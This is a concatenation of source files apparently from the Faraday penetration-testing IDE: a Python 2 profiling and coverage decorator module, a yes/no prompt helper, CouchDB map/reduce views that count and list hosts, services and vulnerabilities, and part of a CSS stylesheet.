145 sys.stdout on program termination. Otherwise results will be printed
146 after each call.
147
148 If `dirs` is False only the name of the file will be printed.
149 Otherwise the full path is used.
150
151 `sort` can be a list of sort keys (defaulting to ['cumulative',
152 'time', 'calls']). The following ones are recognized::
153
154 'calls' -- call count
155 'cumulative' -- cumulative time
156 'file' -- file name
157 'line' -- line number
158 'module' -- file name
159 'name' -- function name
160 'nfl' -- name/file/line
161 'pcalls' -- call count
162 'stdname' -- standard name
163 'time' -- internal time
164
165 `entries` limits the output to the first N entries.
166
167 `profiler` can be used to select the preferred profiler, or specify a
168 sequence of them, in order of preference. The default is ('cProfile'.
169 'profile', 'hotshot').
170
171 If `filename` is specified, the profile stats will be stored in the
172 named file. You can load them pstats.Stats(filename).
173
174 Usage::
175
176 def fn(...):
177 ...
178 fn = profile(fn, skip=1)
179
180 If you are using Python 2.4, you should be able to use the decorator
181 syntax::
182
183 @profile(skip=3)
184 def fn(...):
185 ...
186
187 or just ::
188
189 @profile
190 def fn(...):
191 ...
192
193 """
194 if fn is None:
195 def decorator(fn):
196 return profile(fn, skip=skip, filename=filename,
197 immediate=immediate, dirs=dirs,
198 sort=sort, entries=entries,
199 profiler=profiler)
200 return decorator
201
202 if isinstance(profiler, str):
203 profiler = [profiler]
204 for p in profiler:
205 if p in AVAILABLE_PROFILERS:
206 profiler_class = AVAILABLE_PROFILERS[p]
207 break
208 else:
209 raise ValueError('only these profilers are available: %s'
210 % ', '.join(AVAILABLE_PROFILERS))
211 fp = profiler_class(fn, skip=skip, filename=filename,
212 immediate=immediate, dirs=dirs,
213 sort=sort, entries=entries)
214
215
216
217
218 def new_fn(*args, **kw):
219 return fp(*args, **kw)
220 new_fn.__doc__ = fn.__doc__
221 new_fn.__name__ = fn.__name__
222 new_fn.__dict__ = fn.__dict__
223 new_fn.__module__ = fn.__module__
224 return new_fn
225
226
227 def coverage(fn):
228 """Mark `fn` for line coverage analysis.
229
230 Results will be printed to sys.stdout on program termination.
231
232 Usage::
233
234 def fn(...):
235 ...
236 fn = coverage(fn)
237
238 If you are using Python 2.4, you should be able to use the decorator
239 syntax::
240
241 @coverage
242 def fn(...):
243 ...
244
245 """
246 fp = TraceFuncCoverage(fn)
247
248
249 def new_fn(*args, **kw):
250 return fp(*args, **kw)
251 new_fn.__doc__ = fn.__doc__
252 new_fn.__name__ = fn.__name__
253 new_fn.__dict__ = fn.__dict__
254 new_fn.__module__ = fn.__module__
255 return new_fn
256
257
258 def coverage_with_hotshot(fn):
259 """Mark `fn` for line coverage analysis.
260
261 Uses the 'hotshot' module for fast coverage analysis.
262
263 BUG: Produces inaccurate results.
264
265 See the docstring of `coverage` for usage examples.
266 """
267 fp = HotShotFuncCoverage(fn)
268
269
270 def new_fn(*args, **kw):
271 return fp(*args, **kw)
272 new_fn.__doc__ = fn.__doc__
273 new_fn.__name__ = fn.__name__
274 new_fn.__dict__ = fn.__dict__
275 new_fn.__module__ = fn.__module__
276 return new_fn
277
278
279 class FuncProfile(object):
280 """Profiler for a function (uses profile)."""
281
282
283 in_profiler = False
284
285 Profile = Profile
286
287 def __init__(self, fn, skip=0, filename=None, immediate=False, dirs=False,
288 sort=None, entries=40):
289 """Creates a profiler for a function.
290
291 Every profiler has its own log file (the name of which is derived
292 from the function name).
293
294 FuncProfile registers an atexit handler that prints profiling
295 information to sys.stderr when the program terminates.
296 """
297 self.fn = fn
298 self.skip = skip
299 self.filename = filename
300 self.immediate = immediate
301 self.dirs = dirs
302 self.sort = sort or ('cumulative', 'time', 'calls')
303 if isinstance(self.sort, str):
304 self.sort = (self.sort, )
305 self.entries = entries
306 self.reset_stats()
307 atexit.register(self.atexit)
308
309 def __call__(self, *args, **kw):
310 """Profile a singe call to the function."""
311 self.ncalls += 1
312 if self.skip > 0:
313 self.skip -= 1
314 self.skipped += 1
315 return self.fn(*args, **kw)
316 if FuncProfile.in_profiler:
317
318 return self.fn(*args, **kw)
319
320
321 profiler = self.Profile()
322 try:
323 FuncProfile.in_profiler = True
324 return profiler.runcall(self.fn, *args, **kw)
325 finally:
326 FuncProfile.in_profiler = False
327 self.stats.add(profiler)
328 if self.immediate:
329 self.print_stats()
330 self.reset_stats()
331
332 def print_stats(self):
333 """Print profile information to sys.stdout."""
334 funcname = self.fn.__name__
335 filename = self.fn.func_code.co_filename
336 lineno = self.fn.func_code.co_firstlineno
337 print
338 print "*** PROFILER RESULTS ***"
339 print "%s (%s:%s)" % (funcname, filename, lineno)
340 print "function called %d times" % self.ncalls,
341 if self.skipped:
342 print "(%d calls not profiled)" % self.skipped
343 else:
344 print
345 print
346 stats = self.stats
347 if self.filename:
348 stats.dump_stats(self.filename)
349 if not self.dirs:
350 stats.strip_dirs()
351 stats.sort_stats(*self.sort)
352 stats.print_stats(self.entries)
353
354 def reset_stats(self):
355 """Reset accumulated profiler statistics."""
356
357 self.stats = pstats.Stats(Profile())
358 self.ncalls = 0
359 self.skipped = 0
360
361 def atexit(self):
362 """Stop profiling and print profile information to sys.stdout.
363
364 This function is registered as an atexit hook.
365 """
366 if not self.immediate:
367 self.print_stats()
368
369
370 AVAILABLE_PROFILERS['profile'] = FuncProfile
371
372
373 if cProfile is not None:
374
375 class CProfileFuncProfile(FuncProfile):
376 """Profiler for a function (uses cProfile)."""
377
378 Profile = cProfile.Profile
379
380 AVAILABLE_PROFILERS['cProfile'] = CProfileFuncProfile
381
382
383 if hotshot is not None:
384
385 class HotShotFuncProfile(object):
386 """Profiler for a function (uses hotshot)."""
387
388
389 in_profiler = False
390
391 def __init__(self, fn, skip=0, filename=None):
392 """Creates a profiler for a function.
393
394 Every profiler has its own log file (the name of which is derived
395 from the function name).
396
397 HotShotFuncProfile registers an atexit handler that prints
398 profiling information to sys.stderr when the program terminates.
399
400 The log file is not removed and remains there to clutter the
401 current working directory.
402 """
403 self.fn = fn
404 self.filename = filename
405 if self.filename:
406 self.logfilename = filename + ".raw"
407 else:
408 self.logfilename = fn.__name__ + ".prof"
409 self.profiler = hotshot.Profile(self.logfilename)
410 self.ncalls = 0
411 self.skip = skip
412 self.skipped = 0
413 atexit.register(self.atexit)
414
415 def __call__(self, *args, **kw):
416 """Profile a singe call to the function."""
417 self.ncalls += 1
418 if self.skip > 0:
419 self.skip -= 1
420 self.skipped += 1
421 return self.fn(*args, **kw)
422 if HotShotFuncProfile.in_profiler:
423
424 return self.fn(*args, **kw)
425 try:
426 HotShotFuncProfile.in_profiler = True
427 return self.profiler.runcall(self.fn, *args, **kw)
428 finally:
429 HotShotFuncProfile.in_profiler = False
430
431 def atexit(self):
432 """Stop profiling and print profile information to sys.stderr.
433
434 This function is registered as an atexit hook.
435 """
436 self.profiler.close()
437 funcname = self.fn.__name__
438 filename = self.fn.func_code.co_filename
439 lineno = self.fn.func_code.co_firstlineno
440 print
441 print "*** PROFILER RESULTS ***"
442 print "%s (%s:%s)" % (funcname, filename, lineno)
443 print "function called %d times" % self.ncalls,
444 if self.skipped:
445 print "(%d calls not profiled)" % self.skipped
446 else:
447 print
448 print
449 stats = hotshot.stats.load(self.logfilename)
450
451
452 if self.filename:
453 stats.dump_stats(self.filename)
454
455 stats.strip_dirs()
456 stats.sort_stats('cumulative', 'time', 'calls')
457 stats.print_stats(40)
458
459 AVAILABLE_PROFILERS['hotshot'] = HotShotFuncProfile
460
461
462 class HotShotFuncCoverage:
463 """Coverage analysis for a function (uses _hotshot).
464
465 HotShot coverage is reportedly faster than trace.py, but it appears to
466 have problems with exceptions; also line counts in coverage reports
467 are generally lower from line counts produced by TraceFuncCoverage.
468 Is this my bug, or is it a problem with _hotshot?
469 """
470
471 def __init__(self, fn):
472 """Creates a profiler for a function.
473
474 Every profiler has its own log file (the name of which is derived
475 from the function name).
476
477 HotShotFuncCoverage registers an atexit handler that prints
478 profiling information to sys.stderr when the program terminates.
479
480 The log file is not removed and remains there to clutter the
481 current working directory.
482 """
483 self.fn = fn
484 self.logfilename = fn.__name__ + ".cprof"
485 self.profiler = _hotshot.coverage(self.logfilename)
486 self.ncalls = 0
487 atexit.register(self.atexit)
488
489 def __call__(self, *args, **kw):
490 """Profile a singe call to the function."""
491 self.ncalls += 1
492 return self.profiler.runcall(self.fn, args, kw)
493
494 def atexit(self):
495 """Stop profiling and print profile information to sys.stderr.
496
497 This function is registered as an atexit hook.
498 """
499 self.profiler.close()
500 funcname = self.fn.__name__
501 filename = self.fn.func_code.co_filename
502 lineno = self.fn.func_code.co_firstlineno
503 print
504 print "*** COVERAGE RESULTS ***"
505 print "%s (%s:%s)" % (funcname, filename, lineno)
506 print "function called %d times" % self.ncalls
507 print
508 fs = FuncSource(self.fn)
509 reader = hotshot.log.LogReader(self.logfilename)
510 for what, (filename, lineno, funcname), tdelta in reader:
511 if filename != fs.filename:
512 continue
513 if what == hotshot.log.LINE:
514 fs.mark(lineno)
515 if what == hotshot.log.ENTER:
516
517
518
519
520 if lineno == fs.firstlineno:
521 lineno = fs.firstcodelineno
522 fs.mark(lineno)
523 reader.close()
524 print fs
525
526
527 class TraceFuncCoverage:
528 """Coverage analysis for a function (uses trace module).
529
530 HotShot coverage analysis is reportedly faster, but it appears to have
531 problems with exceptions.
532 """
533
534
535 tracer = trace.Trace(count=True, trace=False,
536 ignoredirs=[sys.prefix, sys.exec_prefix])
537
538
539 tracing = False
540
541 def __init__(self, fn):
542 """Creates a profiler for a function.
543
544 Every profiler has its own log file (the name of which is derived
545 from the function name).
546
547 TraceFuncCoverage registers an atexit handler that prints
548 profiling information to sys.stderr when the program terminates.
549
550 The log file is not removed and remains there to clutter the
551 current working directory.
552 """
553 self.fn = fn
554 self.logfilename = fn.__name__ + ".cprof"
555 self.ncalls = 0
556 atexit.register(self.atexit)
557
558 def __call__(self, *args, **kw):
559 """Profile a singe call to the function."""
560 self.ncalls += 1
561 if TraceFuncCoverage.tracing:
562 return self.fn(*args, **kw)
563 try:
564 TraceFuncCoverage.tracing = True
565 return self.tracer.runfunc(self.fn, *args, **kw)
566 finally:
567 TraceFuncCoverage.tracing = False
568
569 def atexit(self):
570 """Stop profiling and print profile information to sys.stderr.
571
572 This function is registered as an atexit hook.
573 """
574 funcname = self.fn.__name__
575 filename = self.fn.func_code.co_filename
576 lineno = self.fn.func_code.co_firstlineno
577 print
578 print "*** COVERAGE RESULTS ***"
579 print "%s (%s:%s)" % (funcname, filename, lineno)
580 print "function called %d times" % self.ncalls
581 print
582 fs = FuncSource(self.fn)
583 for (filename, lineno), count in self.tracer.counts.items():
584 if filename != fs.filename:
585 continue
586 fs.mark(lineno, count)
587 print fs
588 never_executed = fs.count_never_executed()
589 if never_executed:
590 print "%d lines were not executed." % never_executed
591
592
593 class FuncSource:
594 """Source code annotator for a function."""
595
596 blank_rx = re.compile(r"^\s*finally:\s*(#.*)?$")
597
598 def __init__(self, fn):
599 self.fn = fn
600 self.filename = inspect.getsourcefile(fn)
601 self.source, self.firstlineno = inspect.getsourcelines(fn)
602 self.sourcelines = {}
603 self.firstcodelineno = self.firstlineno
604 self.find_source_lines()
605
606 def find_source_lines(self):
607 """Mark all executable source lines in fn as executed 0 times."""
608 strs = trace.find_strings(self.filename)
609 lines = trace.find_lines_from_code(self.fn.func_code, strs)
610 self.firstcodelineno = sys.maxint
611 for lineno in lines:
612 self.firstcodelineno = min(self.firstcodelineno, lineno)
613 self.sourcelines.setdefault(lineno, 0)
614 if self.firstcodelineno == sys.maxint:
615 self.firstcodelineno = self.firstlineno
616
617 def mark(self, lineno, count=1):
618 """Mark a given source line as executed count times.
619
620 Multiple calls to mark for the same lineno add up.
621 """
622 self.sourcelines[lineno] = self.sourcelines.get(lineno, 0) + count
623
624 def count_never_executed(self):
625 """Count statements that were never executed."""
626 lineno = self.firstlineno
627 counter = 0
628 for line in self.source:
629 if self.sourcelines.get(lineno) == 0:
630 if not self.blank_rx.match(line):
631 counter += 1
632 lineno += 1
633 return counter
634
635 def __str__(self):
636 """Return annotated source code for the function."""
637 lines = []
638 lineno = self.firstlineno
639 for line in self.source:
640 counter = self.sourcelines.get(lineno)
641 if counter is None:
642 prefix = ' ' * 7
643 elif counter == 0:
644 if self.blank_rx.match(line):
645 prefix = ' ' * 7
646 else:
647 prefix = '>' * 6 + ' '
648 else:
649 prefix = '%5d: ' % counter
650 lines.append(prefix + line)
651 lineno += 1
652 return ''.join(lines)
653
654
655 def timecall(fn=None, immediate=True):
656 """Wrap `fn` and print its execution time.
657
658 Example::
659
660 @timecall
661 def somefunc(x, y):
662 time.sleep(x * y)
663
664 somefunc(2, 3)
665
666 will print the time taken by somefunc on every call. If you want just
667 a summary at program termination, use
668
669 @timecall(immediate=False)
670
671 """
672 if fn is None:
673 def decorator(fn):
674 return timecall(fn, immediate=immediate)
675 return decorator
676
677 fp = FuncTimer(fn, immediate=immediate)
678
679
680 def new_fn(*args, **kw):
681 return fp(*args, **kw)
682 new_fn.__doc__ = fn.__doc__
683 new_fn.__name__ = fn.__name__
684 new_fn.__dict__ = fn.__dict__
685 new_fn.__module__ = fn.__module__
686 return new_fn
687
688
689 class FuncTimer(object):
690
691 def __init__(self, fn, immediate):
692 self.fn = fn
693 self.ncalls = 0
694 self.totaltime = 0
695 self.immediate = immediate
696 if not immediate:
697 atexit.register(self.atexit)
698
699 def __call__(self, *args, **kw):
700 """Profile a singe call to the function."""
701 fn = self.fn
702 self.ncalls += 1
703 try:
704 start = time.time()
705 return fn(*args, **kw)
706 finally:
707 duration = time.time() - start
708 self.totaltime += duration
709 if self.immediate:
710 funcname = fn.__name__
711 filename = fn.func_code.co_filename
712 lineno = fn.func_code.co_firstlineno
713 print >> sys.stderr, "\n %s (%s:%s):\n %.3f seconds\n" % (
714 funcname, filename, lineno, duration)
715 def atexit(self):
716 if not self.ncalls:
717 return
718 funcname = self.fn.__name__
719 filename = self.fn.func_code.co_filename
720 lineno = self.fn.func_code.co_firstlineno
721 print ("\n %s (%s:%s):\n"
722 " %d calls, %.3f seconds (%.3f seconds per call)\n" % (
723 funcname, filename, lineno, self.ncalls,
724 self.totaltime, self.totaltime / self.ncalls))
725
0 import sys
1
2 def query_yes_no(question, default="yes"):
3 """Ask a yes/no question via raw_input() and return their answer.
4
5 "question" is a string that is presented to the user.
6 "default" is the presumed answer if the user just hits <Enter>.
7 It must be "yes" (the default), "no" or None (meaning
8 an answer is required of the user).
9
10 The "answer" return value is one of "yes" or "no".
11 """
12 valid = {"yes": True, "y": True, "ye": True,
13 "no": False, "n": False}
14 if default is None:
15 prompt = " [y/n] "
16 elif default == "yes":
17 prompt = " [Y/n] "
18 elif default == "no":
19 prompt = " [y/N] "
20 else:
21 raise ValueError("invalid default answer: '%s'" % default)
22
23 while True:
24 sys.stdout.write(question + prompt)
25 choice = raw_input().lower()
26 if default is not None and choice == '':
27 return valid[default]
28 elif choice in valid:
29 return valid[choice]
30 else:
31 sys.stdout.write("Please respond with 'yes' or 'no' "
32 "(or 'y' or 'n').\n")
33
0 // Faraday Penetration Test IDE - Community Version
1 // // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // // See the file 'doc/LICENSE' for the license information
3 function(doc) {
4 if(doc.type=="CommandRunInformation"){
5 key = doc.command + " " + doc.params;
6 emit(key, {"startdate": doc.itime, "duration": doc.duration, "hostname": doc.hostname, "user": doc.user, "ip": doc.ip});
7 }
8 }
0 cuenta cantidad de interfaces por host, devuelve idHost, cant
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3 function(doc) {
4 if(doc.type=="Interface"){
5 if(doc.parent != 'null') {
6 var hid = doc._id.substring(0, doc._id.indexOf('.'));
7 emit(hid, 1);
8 }
9 }
10 }
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3 function (key, values) {
4
5 return values.reduce(function(previousValue, currentValue, index, array){
6 return previousValue + currentValue;
7 });
8
9 }
0 cuenta cantidad de servicios por host, devuelve idHost, cant
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3
4 function(doc) {
5 if(doc.type=="Service" & (doc.status =='open' | doc.status =='running')){
6 var hid = doc._id.substring(0, doc._id.indexOf('.'));
7 emit(hid, 1);
8 }
9 }
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3 function (key, values) {
4 return values.reduce(function(previousValue, currentValue, index, array){
5 return previousValue + currentValue;
6 });
7 }
0 cuenta cantidad de servicios totales, devuelve nombreServicio, cant
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3 function(doc) {
4 if(doc.type=="Service"){
5 if(doc.parent != 'null' & (doc.status =='open' | doc.status =='running')) {
6 var hid = doc._id.substring(0, doc._id.indexOf('.'));
7 emit(doc.name, 1);
8 }
9 }
10 }
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3 function (key, values) {
4
5 return values.reduce(function(previousValue, currentValue, index, array){
6 return previousValue + currentValue;
7 });
8
9 }
0 cuenta hosts totales, devuelve idHost, nombreHost
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3 function(doc) {
4 if(doc.type=="Host"){
5 emit(doc._id, {"name": doc.name, "os": doc.os, "owned": doc.owned});
6 }
7 }
0 cuenta cantidad de items totales, nombreItem, cant para Services, Serv owned, Hosts, Hosts owned, Interfaces, Notes, Total Vulnerabilities, Web Vulns, Common Vulns
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3 function(doc) {
4 if(doc.type=="Service") {
5 emit("services", 1);
6 } else if(doc.type=="Service" && doc.owned == "True") {
7 emit("services owned", 1);
8 } else if(doc.type=="Host") {
9 emit("hosts", 1);
10 } else if(doc.type=="Host" && doc.owned == "True") {
11 emit("hosts owned", 1);
12 } else if(doc.type=="Interface") {
13 emit("interfaces", 1);
14 } else if(doc.type=="Note") {
15 emit("notes", 1);
16 } else if(doc.type=="VulnerabilityWeb" || doc.type=="Vulnerability") {
17 if(doc.type=="VulnerabilityWeb") {
18 emit("web vulns", 1);
19 } else {
20 emit("vulns", 1);
21 }
22 emit("total vulns", 1);
23 }
24 }
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3 function (key, values) {
4
5 return values.reduce(function(previousValue, currentValue, index, array){
6 return previousValue + currentValue;
7 });
8
9 }
0 cuenta vulnerabilidades por prioridad, devuelve idPrioridad, cant donde idPrioridad esta entre 0 y 4 (info, low, medium, high, critical y 5 unclassified)
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3
4 function(doc) {
5 if(doc.type=="Vulnerability" || doc.type=="VulnerabilityWeb") {
6 emit(doc.severity, 1);
7 }
8 }
0
1 // Faraday Penetration Test IDE - Community Version
2 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 // See the file 'doc/LICENSE' for the license information
4 //
5 function (key, values) {
6
7 return values.reduce(function(previousValue, currentValue, index, array){
8 return previousValue + currentValue;
9 });
10
11 }
0 Get the documents grouped by parent.
1
2 The mapper needs to get the documents owned by some parent
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3
4 function(doc) {
5 parent = doc.parent
6 emit(parent, {'_id': doc._id, 'type': doc.type});
7 }
0 Get the documents grouped by parent and type.
1
2 The mapper needs to get the documents owned by some parent, and of some kind (type)
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3
4 function(doc) {
5 var parent = "None"
6 if (doc.parent) {
7 parent = doc.parent
8 }
9 emit([parent, doc.type], doc._id);
10 }
0 trae todos los servicios que tienen padre y usa como key el ID del host padre
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3 function(doc) {
4 if(doc.type=="Service"){
5 if(doc.parent != 'null') {
6 var hid = doc._id.substring(0, doc._id.indexOf('.'));
7 emit(hid, {"name": doc.name,
8 "description": doc.description,
9 "protocol": doc.protocol,
10 "ports": doc.ports,
11 "status": doc.status,
12 "owned": doc.owned,
13 "hid": hid});
14 }
15 }
16 }
0 trae todos los servicios que tienen padre y usa como key el nombre del servicio
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3 function(doc) {
4 if(doc.type=="Service"){
5 if(doc.parent != 'null' & (doc.status =='open' | doc.status =='running')) {
6 var hid = doc._id.substring(0, doc._id.indexOf('.'));
7 emit(doc.name, {"name": doc.name,
8 "description": doc.description,
9 "protocol": doc.protocol,
10 "ports": doc.ports,
11 "status": doc.status,
12 "owned": doc.owned,
13 "hid": hid});
14 }
15 }
16 }
0 retrieve all docs except design docs
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3
4 function(doc){
5 emit(doc._id, doc);
6 }
0 gets all vulns from workspace, regardless of their type (regular/web).
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3 function(doc) {
4 if(doc.type == "Vulnerability" || doc.type == "VulnerabilityWeb"){
5 var obj = {
6 "rev": doc._rev,
7 "desc": doc.desc,
8 "meta": doc.metadata,
9 "date": doc.metadata.create_time,
10 "name": doc.name,
11 "oid": doc.obj_id,
12 "owned": doc.owned,
13 "owner": doc.owner,
14 "parent": doc.parent,
15 "refs": doc.refs,
16 "severity": doc.severity,
17 "status": doc.type
18 };
19 emit(doc._id, obj);
20 }
21 }
0 gets all vulnerabilities from workspace, except web ones.
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3 function(doc) {
4 if(doc.type == "Vulnerability"){
5 var obj = {
6 "rev": doc._rev,
7 "data": doc.data,
8 "date": doc.metadata.create_time,
9 "desc": doc.desc,
10 "meta": doc.metadata,
11 "name": doc.name,
12 "oid": doc.obj_id,
13 "owned": doc.owned,
14 "owner": doc.owner,
15 "parent": doc.parent,
16 "refs": doc.refs,
17 "severity": doc.severity,
18 "type": doc.type
19 };
20 emit(doc._id, obj);
21 }
22 }
0 gets all web vulns from workspace.
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3 function(doc) {
4 if(doc.type == "VulnerabilityWeb"){
5 var obj = {
6 "rev": doc._rev,
7 "data": doc.data,
8 "date": doc.metadata.create_time,
9 "desc": doc.desc,
10 "meta": doc.metadata,
11 "name": doc.name,
12 "oid": doc.obj_id,
13 "owned": doc.owned,
14 "owner": doc.owner,
15 "parent": doc.parent,
16 "refs": doc.refs,
17 "severity": doc.severity,
18 "type": doc.type,
19 /*** specific fields of web vulns ***/
20 "method": doc.method,
21 "params": doc.params,
22 "path": doc.path,
23 "pname": doc.pname,
24 "query": doc.query,
25 "request": doc.request,
26 "response": doc.response,
27 "website": doc.website
28 };
29 emit(doc._id, obj);
30 }
31 }
0 function(doc) {
1
2 }
0 function(keys, values, rereduce) {
1
2 }
0 /* Faraday Penetration Test IDE - Community Version */
1 /* Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/) */
2 /* See the file 'doc/LICENSE' for the license information */
3 /*reset*/
4 html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,font,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td {margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent}body {line-height:1}ol,ul {list-style:none}blockquote,q {quotes:none}:focus {outline:0}ins {text-decoration:none}del {text-decoration:line-through}table {border-collapse:collapse;border-spacing:0}ul,li {list-style:none}.clearfix:after{content:".";display:block;clear:both;visibility:hidden;line-height:0; height:0}
5 .clearfix{display:inline-block}html[xmlns] .clearfix{display:block}* html .clearfix{height:1%}
6 /**/
7 @font-face {
8 font-family: 'Ubuntu';
9 font-style: normal;
10 font-weight: 300;
11 src: local('Ubuntu Light'), local('Ubuntu-Light'), url(fonts/ubuntu/_aijTyevf54tkVDLy-dlnLO3LdcAZYWl9Si6vvxL-qU.woff) format('woff');
12 }
13 @font-face {
14 font-family: 'Ubuntu';
15 font-style: normal;
16 font-weight: 400;
17 src: local('Ubuntu'), url(fonts/ubuntu/vRvZYZlUaogOuHbBTT1SNevvDin1pK8aKteLpeZ5c0A.woff) format('woff');
18 }
19 @font-face {
20 font-family: 'Ubuntu';
21 font-style: normal;
22 font-weight: 700;
23 src: local('Ubuntu Bold'), local('Ubuntu-Bold'), url(fonts/ubuntu/0ihfXUL2emPh0ROJezvraLO3LdcAZYWl9Si6vvxL-qU.woff) format('woff');
24 }
25 @font-face {
26 font-family: 'Ubuntu';
27 font-style: italic;
28 font-weight: 400;
29 src: local('Ubuntu Italic'), local('Ubuntu-Italic'), url(/fonts/ubuntu/kbP_6ONYVgE-bLa9ZRbvvnYhjbSpvc47ee6xR_80Hnw.woff) format('woff');
30 }
31 html#no-overflow{overflow-x:hidden;}
32 body {
33 font:62.5%/1.5 'Ubuntu',Helvetica,Arial,sans-serif!important;
34 color: #2D2F31;
35 background: #E8EFF0!important;
36 }
37 ul{padding:0 0 0 0;margin-bottom: 20px;}
38 a {
39 text-decoration:none;
40 outline-style:none;
41 color: #DF3936!important;
42 }
43 a:hover{cursor: pointer;}
44 p {margin-bottom: 1em;}
45 ::-moz-selection {
46 background-color:#444;
47 color:#fff
48 }
49 ::selection {
50 background-color:#444;
51 color:#fff;
52 }
53 .wrapper{width:auto;}
54 /* FILAS COLUMNAS */
55 .fila {
56 width: 100%;
57 padding:40px 0 0 10px;
58 }
59 .columna {
60 margin: 10px 5px 0px;
61 float: left;
62 }
63 #compound .columna{
64 width: 492px;
65 margin-top: -42px;
66 position: relative;
67 margin-top: -33px;
68 }
69 .unmedio, .doscuartos {width: 420px;}
70 .untercio {width: 273px;}
71 .uncuarto {width: 200px;}
72 .unquinto {width: 85px;}
73 .unsexto {width: 85px;}
74
75 header.head {
76 background: #000;
77 height: 50px;
78 text-align: left;
79 position: fixed;
80 width:100%;
81 z-index:1000;
82 }
83 header.head .logo {
84 margin: 15px 20px;
85 }
86 header.head nav {
87 height: 50px;
88 float: right;
89 margin-right: 20px;
90 }
91 header.head nav ul ul {
92 display: none;
93 }
94 header.head nav .menu li {
95 float: left;
96 }
97 header.head nav .menu li a {
98 display: inline-block;
99 color:#fff;
100 font-size: 14px;
101 text-align: center;
102 padding: 0 20px;
103 height: 50px;
104 line-height: 50px;
105 transition: all .3s ease;
106 -ms-transition: all .3s ease;
107 -moz-transition: all .3s ease;
108 -webkit-transition: all .3s ease;
109 }
110 header.head nav .menu li a.activo, header.head nav .menu li a:hover {
111 background: #DF3936;
112 }
113
114 aside {
115 background: #3A3A3A;
116 width: 76px;
117 height: 100%;
118 border-right: 4px solid #DF3936;
119 position: fixed;
120 top:0px;
121 height: 100%;
122 }
123 aside nav.index{padding-top:55px;}
124 aside nav a {
125 display: block;
126 width: 56px;
127 height: 30px;
128 padding: 20px 10px;
129 margin-bottom: 1px;
130 color: #fff;
131 text-align: center;
132 transition: all .3s ease;
133 -ms-transition: all .3s ease;
134 -moz-transition: all .3s ease;
135 -webkit-transition: all .3s ease;
136 }
137 .left-nav {
138 position:fixed;
139 top:50px;
140 right:0;
141 bottom:0;
142 left:0;
143 }
144 .right-main {
145 position: absolute;
146 top: 0;
147 right: 0;
148 bottom: 0;
149 left: 81px;
150 }
151 .seccion {
152 padding: 0px;
153 width: 101%;
154 float: left;
155 }
156 .seccion.treemap{
157 width: 983px;
158 margin-left: 16%;
159 height:577px;
160 padding-top: 1%;
161 }
162 .seccion.treemap #chart{height: 538px}
163 .main{overflow-y: auto;height: 340px;overflow-x: hidden;}
164 article.untercio{
165 width: 293px;
166 height: 380px;
167 }
168 .untercio article{
169 height: 20%;
170 }
171 .seccion article {
172 background-color: #fff;
173 min-height: 85px;
174 font-size: 13px;
175 text-align: left;
176 }
177 .seccion article header {
178 background: #3F4649;
179 min-height: 40px;
180 text-align: left;
181 }
182 .seccion article header h2 {
183 color: #fff;
184 font-size: 17px;
185 width: 100%;
186 margin: 0 12px;
187 padding: 0;
188 line-height: 40px;
189 }
190 .seccion article section {
191 padding: 0px;
192 }
193 .seccion2 {
194 background: #E8EFF0;
195 float: left;
196 width: 55%;
197 overflow-y: auto;
198 max-height: 533px;
199 float: right;
200 overflow-x: hidden;
201 }
